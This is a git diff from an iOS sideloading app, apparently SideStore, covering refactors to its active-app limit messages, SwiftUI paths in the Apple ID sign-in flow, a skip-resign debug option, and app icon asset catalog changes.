@@ -250,26 +250,26 @@ extension AppManager
|
||||
.filter { $0.bundleIdentifier != app.bundleIdentifier } // Don't count app towards total if it matches activating app
|
||||
.sorted { ($0.name, $0.refreshedDate) < ($1.name, $1.refreshedDate) }
|
||||
|
||||
var title: String = NSLocalizedString("Cannot Activate More than 3 Apps", comment: "")
|
||||
var title: String = NSLocalizedString("Cannot Activate More than \(InstalledApp.freeAccountActiveAppsLimit) Apps", comment: "")
|
||||
let message: String
|
||||
|
||||
if UserDefaults.standard.activeAppLimitIncludesExtensions
|
||||
{
|
||||
if app.appExtensions.isEmpty
|
||||
{
|
||||
message = NSLocalizedString("Non-developer Apple IDs are limited to 3 active apps and app extensions. Please choose an app to deactivate.", comment: "")
|
||||
message = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps and app extensions. Please choose an app to deactivate.", comment: "")
|
||||
}
|
||||
else
|
||||
{
|
||||
title = NSLocalizedString("Cannot Activate More than 3 Apps and App Extensions", comment: "")
|
||||
title = NSLocalizedString("Cannot Activate More than \(InstalledApp.freeAccountActiveAppsLimit) Apps and App Extensions", comment: "")
|
||||
|
||||
let appExtensionText = app.appExtensions.count == 1 ? NSLocalizedString("app extension", comment: "") : NSLocalizedString("app extensions", comment: "")
|
||||
message = String(format: NSLocalizedString("Non-developer Apple IDs are limited to 3 active apps and app extensions, and “%@” contains %@ %@. Please choose an app to deactivate.", comment: ""), app.name, NSNumber(value: app.appExtensions.count), appExtensionText)
|
||||
message = String(format: NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps and app extensions, and “%@” contains %@ %@. Please choose an app to deactivate.", comment: ""), app.name, NSNumber(value: app.appExtensions.count), appExtensionText)
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
message = NSLocalizedString("Non-developer Apple IDs are limited to 3 active apps. Please choose an app to deactivate.", comment: "")
|
||||
message = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps. Please choose an app to deactivate.", comment: "")
|
||||
}
|
||||
|
||||
let activeAppsCount = activeApps.map { $0.requiredActiveSlots }.reduce(0, +)
|
||||
|
||||
@@ -7,6 +7,7 @@
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import SwiftUI
|
||||
import Roxas
|
||||
import Network
|
||||
|
||||
@@ -39,7 +40,7 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
||||
let context: AuthenticatedOperationContext
|
||||
|
||||
private weak var presentingViewController: UIViewController?
|
||||
|
||||
|
||||
private lazy var navigationController: UINavigationController = {
|
||||
let navigationController = self.storyboard.instantiateViewController(withIdentifier: "navigationController") as! UINavigationController
|
||||
if #available(iOS 13.0, *)
|
||||
@@ -48,7 +49,7 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
||||
}
|
||||
return navigationController
|
||||
}()
|
||||
|
||||
|
||||
private lazy var storyboard = UIStoryboard(name: "Authentication", bundle: nil)
|
||||
|
||||
private var appleIDEmailAddress: String?
|
||||
@@ -241,7 +242,7 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
||||
let activeAppsMinimumVersion = OperatingSystemVersion(majorVersion: 13, minorVersion: 3, patchVersion: 1)
|
||||
if team.type == .free, ProcessInfo.processInfo.isOperatingSystemAtLeast(activeAppsMinimumVersion)
|
||||
{
|
||||
UserDefaults.standard.activeAppsLimit = ALTActiveAppsLimit
|
||||
UserDefaults.standard.activeAppsLimit = InstalledApp.freeAccountActiveAppsLimit
|
||||
}
|
||||
else
|
||||
{
|
||||
@@ -266,7 +267,11 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
||||
super.finish(result)
|
||||
|
||||
DispatchQueue.main.async {
|
||||
self.navigationController.dismiss(animated: true, completion: nil)
|
||||
if UnstableFeatures.enabled(.swiftUI) {
|
||||
self.dismiss()
|
||||
} else {
|
||||
self.navigationController.dismiss(animated: true, completion: nil)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -276,7 +281,11 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
||||
super.finish(result)
|
||||
|
||||
DispatchQueue.main.async {
|
||||
self.navigationController.dismiss(animated: true, completion: nil)
|
||||
if UnstableFeatures.enabled(.swiftUI) {
|
||||
self.dismiss()
|
||||
} else {
|
||||
self.navigationController.dismiss(animated: true, completion: nil)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -287,25 +296,36 @@ private extension AuthenticationOperation
|
||||
{
|
||||
func present(_ viewController: UIViewController) -> Bool
|
||||
{
|
||||
guard let presentingViewController = self.presentingViewController else { return false }
|
||||
|
||||
self.navigationController.view.tintColor = .white
|
||||
|
||||
if self.navigationController.viewControllers.isEmpty
|
||||
{
|
||||
guard presentingViewController.presentedViewController == nil else { return false }
|
||||
if UnstableFeatures.enabled(.swiftUI) {
|
||||
UIApplication.topController?.present(viewController, animated: true)
|
||||
} else {
|
||||
guard let presentingViewController = self.presentingViewController else { return false }
|
||||
|
||||
self.navigationController.setViewControllers([viewController], animated: false)
|
||||
presentingViewController.present(self.navigationController, animated: true, completion: nil)
|
||||
}
|
||||
else
|
||||
{
|
||||
viewController.navigationItem.leftBarButtonItem = nil
|
||||
self.navigationController.pushViewController(viewController, animated: true)
|
||||
self.navigationController.view.tintColor = .white
|
||||
|
||||
if self.navigationController.viewControllers.isEmpty
|
||||
{
|
||||
guard presentingViewController.presentedViewController == nil else { return false }
|
||||
|
||||
self.navigationController.setViewControllers([viewController], animated: false)
|
||||
presentingViewController.present(self.navigationController, animated: true, completion: nil)
|
||||
}
|
||||
else
|
||||
{
|
||||
viewController.navigationItem.leftBarButtonItem = nil
|
||||
self.navigationController.pushViewController(viewController, animated: true)
|
||||
}
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
func dismiss() {
|
||||
if let presentingViewController {
|
||||
presentingViewController.dismiss(animated: true)
|
||||
}
|
||||
// UIApplication.topController?.dismiss(animated: true)
|
||||
}
|
||||
}
|
||||
|
||||
private extension AuthenticationOperation
|
||||
@@ -315,29 +335,55 @@ private extension AuthenticationOperation
|
||||
func authenticate()
|
||||
{
|
||||
DispatchQueue.main.async {
|
||||
let authenticationViewController = self.storyboard.instantiateViewController(withIdentifier: "authenticationViewController") as! AuthenticationViewController
|
||||
authenticationViewController.authenticationHandler = { (appleID, password, completionHandler) in
|
||||
self.authenticate(appleID: appleID, password: password) { (result) in
|
||||
completionHandler(result)
|
||||
let viewController: UIViewController
|
||||
if UnstableFeatures.enabled(.swiftUI) {
|
||||
viewController = UIHostingController(rootView: NavigationView {
|
||||
ConnectAppleIDView { appleID, password, completionHandler in
|
||||
self.authenticate(appleID: appleID, password: password) { (result) in
|
||||
completionHandler(result)
|
||||
}
|
||||
} completionHandler: { result in
|
||||
if let (account, session, password) = result
|
||||
{
|
||||
// We presented the Auth UI and the user signed in.
|
||||
// In this case, we'll assume we should show the instructions again.
|
||||
self.shouldShowInstructions = true
|
||||
|
||||
self.appleIDPassword = password
|
||||
completionHandler(.success((account, session)))
|
||||
}
|
||||
else
|
||||
{
|
||||
completionHandler(.failure(OperationError.cancelled))
|
||||
}
|
||||
}
|
||||
}.navigationViewStyle(StackNavigationViewStyle()))
|
||||
} else {
|
||||
let authenticationViewController = self.storyboard.instantiateViewController(withIdentifier: "authenticationViewController") as! AuthenticationViewController
|
||||
authenticationViewController.authenticationHandler = { (appleID, password, completionHandler) in
|
||||
self.authenticate(appleID: appleID, password: password) { (result) in
|
||||
completionHandler(result)
|
||||
}
|
||||
}
|
||||
}
|
||||
authenticationViewController.completionHandler = { (result) in
|
||||
if let (account, session, password) = result
|
||||
{
|
||||
// We presented the Auth UI and the user signed in.
|
||||
// In this case, we'll assume we should show the instructions again.
|
||||
self.shouldShowInstructions = true
|
||||
|
||||
self.appleIDPassword = password
|
||||
completionHandler(.success((account, session)))
|
||||
}
|
||||
else
|
||||
{
|
||||
completionHandler(.failure(OperationError.cancelled))
|
||||
authenticationViewController.completionHandler = { (result) in
|
||||
if let (account, session, password) = result
|
||||
{
|
||||
// We presented the Auth UI and the user signed in.
|
||||
// In this case, we'll assume we should show the instructions again.
|
||||
self.shouldShowInstructions = true
|
||||
|
||||
self.appleIDPassword = password
|
||||
completionHandler(.success((account, session)))
|
||||
}
|
||||
else
|
||||
{
|
||||
completionHandler(.failure(OperationError.cancelled))
|
||||
}
|
||||
}
|
||||
viewController = authenticationViewController
|
||||
}
|
||||
|
||||
if !self.present(authenticationViewController)
|
||||
if !self.present(viewController)
|
||||
{
|
||||
completionHandler(.failure(OperationError.notAuthenticated))
|
||||
}
|
||||
@@ -379,49 +425,34 @@ private extension AuthenticationOperation
|
||||
case .success(let anisetteData):
|
||||
let verificationHandler: ((@escaping (String?) -> Void) -> Void)?
|
||||
|
||||
if let presentingViewController = self.presentingViewController
|
||||
{
|
||||
verificationHandler = { (completionHandler) in
|
||||
DispatchQueue.main.async {
|
||||
let alertController = UIAlertController(title: NSLocalizedString("Please enter the 6-digit verification code that was sent to your Apple devices.", comment: ""), message: nil, preferredStyle: .alert)
|
||||
alertController.addTextField { (textField) in
|
||||
textField.autocorrectionType = .no
|
||||
textField.autocapitalizationType = .none
|
||||
textField.keyboardType = .numberPad
|
||||
|
||||
NotificationCenter.default.addObserver(self, selector: #selector(AuthenticationOperation.textFieldTextDidChange(_:)), name: UITextField.textDidChangeNotification, object: textField)
|
||||
}
|
||||
verificationHandler = { (completionHandler) in
|
||||
DispatchQueue.main.async {
|
||||
let alertController = UIAlertController(title: NSLocalizedString("Please enter the 6-digit verification code that was sent to your Apple devices.", comment: ""), message: nil, preferredStyle: .alert)
|
||||
alertController.addTextField { (textField) in
|
||||
textField.autocorrectionType = .no
|
||||
textField.autocapitalizationType = .none
|
||||
textField.keyboardType = .numberPad
|
||||
|
||||
let submitAction = UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default) { (action) in
|
||||
let textField = alertController.textFields?.first
|
||||
|
||||
let code = textField?.text ?? ""
|
||||
completionHandler(code)
|
||||
}
|
||||
submitAction.isEnabled = false
|
||||
alertController.addAction(submitAction)
|
||||
self.submitCodeAction = submitAction
|
||||
|
||||
alertController.addAction(UIAlertAction(title: RSTSystemLocalizedString("Cancel"), style: .cancel) { (action) in
|
||||
completionHandler(nil)
|
||||
})
|
||||
|
||||
if self.navigationController.presentingViewController != nil
|
||||
{
|
||||
self.navigationController.present(alertController, animated: true, completion: nil)
|
||||
}
|
||||
else
|
||||
{
|
||||
presentingViewController.present(alertController, animated: true, completion: nil)
|
||||
}
|
||||
NotificationCenter.default.addObserver(self, selector: #selector(AuthenticationOperation.textFieldTextDidChange(_:)), name: UITextField.textDidChangeNotification, object: textField)
|
||||
}
|
||||
|
||||
let submitAction = UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default) { (action) in
|
||||
let textField = alertController.textFields?.first
|
||||
|
||||
let code = textField?.text ?? ""
|
||||
completionHandler(code)
|
||||
}
|
||||
submitAction.isEnabled = false
|
||||
alertController.addAction(submitAction)
|
||||
self.submitCodeAction = submitAction
|
||||
|
||||
alertController.addAction(UIAlertAction(title: RSTSystemLocalizedString("Cancel"), style: .cancel) { (action) in
|
||||
completionHandler(nil)
|
||||
})
|
||||
|
||||
UIApplication.topController?.present(alertController, animated: true, completion: nil)
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// No view controller to present security code alert, so don't provide verificationHandler.
|
||||
verificationHandler = nil
|
||||
}
|
||||
|
||||
ALTAppleAPI.shared.authenticate(appleID: appleID, password: password, anisetteData: anisetteData,
|
||||
verificationHandler: verificationHandler) { (account, session, error) in
|
||||
@@ -452,14 +483,16 @@ private extension AuthenticationOperation
|
||||
}
|
||||
} else {
|
||||
DispatchQueue.main.async {
|
||||
let selectTeamViewController = self.storyboard.instantiateViewController(withIdentifier: "selectTeamViewController") as! SelectTeamViewController
|
||||
|
||||
selectTeamViewController.teams = teams
|
||||
selectTeamViewController.completionHandler = completionHandler
|
||||
|
||||
if !self.present(selectTeamViewController)
|
||||
{
|
||||
return completionHandler(.failure(AuthenticationError.noTeam))
|
||||
if !UnstableFeatures.enabled(.swiftUI) {
|
||||
let selectTeamViewController = self.storyboard.instantiateViewController(withIdentifier: "selectTeamViewController") as! SelectTeamViewController
|
||||
|
||||
selectTeamViewController.teams = teams
|
||||
selectTeamViewController.completionHandler = completionHandler
|
||||
|
||||
if !self.present(selectTeamViewController)
|
||||
{
|
||||
return completionHandler(.failure(AuthenticationError.noTeam))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -642,18 +675,22 @@ private extension AuthenticationOperation
|
||||
|
||||
func showInstructionsIfNecessary(completionHandler: @escaping (Bool) -> Void)
|
||||
{
|
||||
guard self.shouldShowInstructions else { return completionHandler(false) }
|
||||
|
||||
DispatchQueue.main.async {
|
||||
let instructionsViewController = self.storyboard.instantiateViewController(withIdentifier: "instructionsViewController") as! InstructionsViewController
|
||||
instructionsViewController.showsBottomButton = true
|
||||
instructionsViewController.completionHandler = {
|
||||
completionHandler(true)
|
||||
}
|
||||
if UnstableFeatures.enabled(.swiftUI) {
|
||||
return completionHandler(false)
|
||||
} else {
|
||||
guard self.shouldShowInstructions else { return completionHandler(false) }
|
||||
|
||||
if !self.present(instructionsViewController)
|
||||
{
|
||||
completionHandler(false)
|
||||
DispatchQueue.main.async {
|
||||
let instructionsViewController = self.storyboard.instantiateViewController(withIdentifier: "instructionsViewController") as! InstructionsViewController
|
||||
instructionsViewController.showsBottomButton = true
|
||||
instructionsViewController.completionHandler = {
|
||||
completionHandler(true)
|
||||
}
|
||||
|
||||
if !self.present(instructionsViewController)
|
||||
{
|
||||
completionHandler(false)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -156,14 +156,8 @@ final class FetchAnisetteDataOperation: ResultOperation<ALTAnisetteData>, WebSoc
|
||||
self.finish(.failure(OperationError.cancelled))
|
||||
}))
|
||||
|
||||
let keyWindow = UIApplication.shared.windows.filter { $0.isKeyWindow }.first
|
||||
|
||||
DispatchQueue.main.async {
|
||||
if let presentingController = keyWindow?.rootViewController?.presentedViewController {
|
||||
presentingController.present(alert, animated: true)
|
||||
} else {
|
||||
keyWindow?.rootViewController?.present(alert, animated: true)
|
||||
}
|
||||
UIApplication.topController?.present(alert, animated: true)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -10,11 +10,7 @@ import Foundation
|
||||
|
||||
private extension URL
|
||||
{
|
||||
#if STAGING
|
||||
static let trustedSources = URL(string: "https://raw.githubusercontent.com/SideStore/SideStore/develop/trustedapps.json")!
|
||||
#else
|
||||
static let trustedSources = URL(string: "https://raw.githubusercontent.com/SideStore/SideStore/develop/trustedapps.json")!
|
||||
#endif
|
||||
}
|
||||
|
||||
extension FetchTrustedSourcesOperation
|
||||
|
||||
@@ -187,11 +187,7 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
|
||||
}))
|
||||
|
||||
DispatchQueue.main.async {
|
||||
let keyWindow = UIApplication.shared.windows.filter { $0.isKeyWindow }.first
|
||||
if var topController = keyWindow?.rootViewController {
|
||||
while let presentedViewController = topController.presentedViewController {
|
||||
topController = presentedViewController
|
||||
}
|
||||
if var topController = UIApplication.topController {
|
||||
topController.present(alert, animated: true)
|
||||
} else {
|
||||
print("No key window? Let's just open Safari")
|
||||
|
||||
@@ -8,6 +8,8 @@
|
||||
|
||||
import Foundation
|
||||
import Roxas
|
||||
import SwiftUI
|
||||
import ZIPFoundation
|
||||
|
||||
import AltStoreCore
|
||||
import AltSign
|
||||
@@ -15,6 +17,9 @@ import AltSign
|
||||
@objc(ResignAppOperation)
|
||||
final class ResignAppOperation: ResultOperation<ALTApplication>
|
||||
{
|
||||
static var skipResign: Bool = false
|
||||
static var skipResignBinding: Binding<Bool> { Binding<Bool>(get: { skipResign }, set: { skipResign = $0 }) }
|
||||
|
||||
let context: InstallAppOperationContext
|
||||
|
||||
init(context: InstallAppOperationContext)
|
||||
@@ -50,6 +55,23 @@ final class ResignAppOperation: ResultOperation<ALTApplication>
|
||||
let prepareAppBundleProgress = self.prepareAppBundle(for: app, profiles: profiles) { (result) in
|
||||
guard let appBundleURL = self.process(result) else { return }
|
||||
|
||||
if ResignAppOperation.skipResign {
|
||||
print("⚠️ WARNING: Skipping resign. Unless you correctly resigned the IPA before installing it, things will not work! Also, this might crash SideStore. You have been warned!")
|
||||
let ipaFile = self.context.temporaryDirectory.appendingPathComponent("App.ipa")
|
||||
let archive = Archive(url: ipaFile, accessMode: .create)!
|
||||
for case let fileURL as URL in FileManager.default.enumerator(at: appBundleURL, includingPropertiesForKeys: [])! {
|
||||
let relative = fileURL.description.replacingOccurrences(of: appBundleURL.description, with: "").removingPercentEncoding!
|
||||
try! archive.addEntry(with: "Payload/App.app\(relative)", fileURL: fileURL)
|
||||
}
|
||||
let destinationURL = InstalledApp.refreshedIPAURL(for: app)
|
||||
try! FileManager.default.copyItem(at: ipaFile, to: destinationURL, shouldReplace: true)
|
||||
|
||||
// Use appBundleURL since we need an app bundle, not .ipa.
|
||||
let resignedApplication = ALTApplication(fileURL: appBundleURL)!
|
||||
self.finish(.success(resignedApplication))
|
||||
return
|
||||
}
|
||||
|
||||
print("Resigning App:", self.context.bundleIdentifier)
|
||||
|
||||
// Resign app bundle
|
||||
|
||||
|
Before Width: | Height: | Size: 8.4 KiB |
|
Before Width: | Height: | Size: 846 KiB |
|
Before Width: | Height: | Size: 10 KiB |
|
Before Width: | Height: | Size: 11 KiB |
|
Before Width: | Height: | Size: 15 KiB |
|
Before Width: | Height: | Size: 16 KiB |
|
Before Width: | Height: | Size: 19 KiB |
|
Before Width: | Height: | Size: 22 KiB |
|
Before Width: | Height: | Size: 997 B |
|
Before Width: | Height: | Size: 1.6 KiB |
|
Before Width: | Height: | Size: 2.4 KiB |
|
Before Width: | Height: | Size: 3.2 KiB |
|
Before Width: | Height: | Size: 3.8 KiB |
|
Before Width: | Height: | Size: 3.9 KiB |
|
Before Width: | Height: | Size: 4.1 KiB |
|
Before Width: | Height: | Size: 5.2 KiB |
|
Before Width: | Height: | Size: 5.6 KiB |
|
Before Width: | Height: | Size: 6.1 KiB |
|
Before Width: | Height: | Size: 6.8 KiB |
@@ -1 +0,0 @@
|
||||
{"images":[{"size":"60x60","expected-size":"180","filename":"180.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"3x"},{"size":"40x40","expected-size":"80","filename":"80.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"2x"},{"size":"40x40","expected-size":"120","filename":"120.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"3x"},{"size":"60x60","expected-size":"120","filename":"120.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"2x"},{"size":"57x57","expected-size":"57","filename":"57.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"1x"},{"size":"29x29","expected-size":"58","filename":"58.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"2x"},{"size":"29x29","expected-size":"29","filename":"29.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"1x"},{"size":"29x29","expected-size":"87","filename":"87.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"3x"},{"size":"57x57","expected-size":"114","filename":"114.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"2x"},{"size":"20x20","expected-size":"40","filename":"40.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"2x"},{"size":"20x20","expected-size":"60","filename":"60.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"iphone","scale":"3x"},{"size":"1024x1024","filename":"1024.png","expected-size":"1024","idiom":"ios-marketing","folder":"Assets.xcassets/AppIcon.appiconset/","scale":"1x"},{"size":"40x40","expected-size":"80","filename":"80.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"2x"},{"size":"72x72","expected-size":"72","filename":"72.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"1x"},{"size":"76x76","expected-size":"152","filename":"152.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"2x"},{"size":"50x50","expected-size":"100","filename":"100.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"2x"},{"size":"29x29","expected-size":"58","filename":"58.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"2x"},{"size":"76x76","expected-size":"76","filename":"76.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"1x"},{"size":"29x29","expected-size":"29","filename":"29.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"1x"},{"size":"50x50","expected-size":"50","filename":"50.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"1x"},{"size":"72x72","expected-size":"144","filename":"144.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"2x"},{"size":"40x40","expected-size":"40","filename":"40.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"1x"},{"size":"83.5x83.5","expected-size":"167","filename":"167.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"2x"},{"size":"20x20","expected-size":"20","filename":"20.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"1x"},{"size":"20x20","expected-size":"40","filename":"40.png","folder":"Assets.xcassets/AppIcon.appiconset/","idiom":"ipad","scale":"2x"}]}
|
||||
@@ -0,0 +1,20 @@
|
||||
{
|
||||
"colors" : [
|
||||
{
|
||||
"color" : {
|
||||
"color-space" : "srgb",
|
||||
"components" : {
|
||||
"alpha" : "1.000",
|
||||
"blue" : "0xFA",
|
||||
"green" : "0x05",
|
||||
"red" : "0xA4"
|
||||
}
|
||||
},
|
||||
"idiom" : "universal"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
@@ -1,7 +1,7 @@
|
||||
{
|
||||
"images" : [
|
||||
{
|
||||
"filename" : "riley.jpg",
|
||||
"filename" : "icon-152.png",
|
||||
"idiom" : "universal"
|
||||
}
|
||||
],
|
||||
BIN
AltStore/Resources/Assets.xcassets/Honeydew-image.imageset/icon-152.png
vendored
Normal file
|
After Width: | Height: | Size: 17 KiB |
@@ -0,0 +1,116 @@
|
||||
{
|
||||
"images" : [
|
||||
{
|
||||
"filename" : "icon-40.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-60.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-58.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-87.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-80.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-120.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-120.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "60x60"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-180.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "60x60"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-20.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-40.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-29.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-58.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-40.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-80.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-76.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "76x76"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-152.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "76x76"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-167.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "83.5x83.5"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-1024.png",
|
||||
"idiom" : "ios-marketing",
|
||||
"scale" : "1x",
|
||||
"size" : "1024x1024"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
|
After Width: | Height: | Size: 373 KiB |
|
After Width: | Height: | Size: 12 KiB |
|
After Width: | Height: | Size: 17 KiB |
|
After Width: | Height: | Size: 19 KiB |
|
After Width: | Height: | Size: 22 KiB |
|
After Width: | Height: | Size: 971 B |
|
After Width: | Height: | Size: 1.5 KiB |
|
After Width: | Height: | Size: 2.3 KiB |
|
After Width: | Height: | Size: 4.0 KiB |
|
After Width: | Height: | Size: 4.2 KiB |
|
After Width: | Height: | Size: 5.9 KiB |
|
After Width: | Height: | Size: 6.4 KiB |
|
After Width: | Height: | Size: 7.3 KiB |
@@ -1,7 +1,7 @@
|
||||
{
|
||||
"images" : [
|
||||
{
|
||||
"filename" : "shane.jpeg",
|
||||
"filename" : "icon-152.png",
|
||||
"idiom" : "universal"
|
||||
}
|
||||
],
|
||||
BIN
AltStore/Resources/Assets.xcassets/Midnight-image.imageset/icon-152.png
vendored
Normal file
|
After Width: | Height: | Size: 17 KiB |
@@ -0,0 +1,116 @@
|
||||
{
|
||||
"images" : [
|
||||
{
|
||||
"filename" : "icon-40.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-60.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-58.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-87.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-80.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-120.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-120.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "60x60"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-180.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "60x60"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-20.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-40.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-29.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-58.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-40.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-80.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-76.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "76x76"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-152.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "76x76"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-167.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "83.5x83.5"
|
||||
},
|
||||
{
|
||||
"filename" : "icon-1024.png",
|
||||
"idiom" : "ios-marketing",
|
||||
"scale" : "1x",
|
||||
"size" : "1024x1024"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
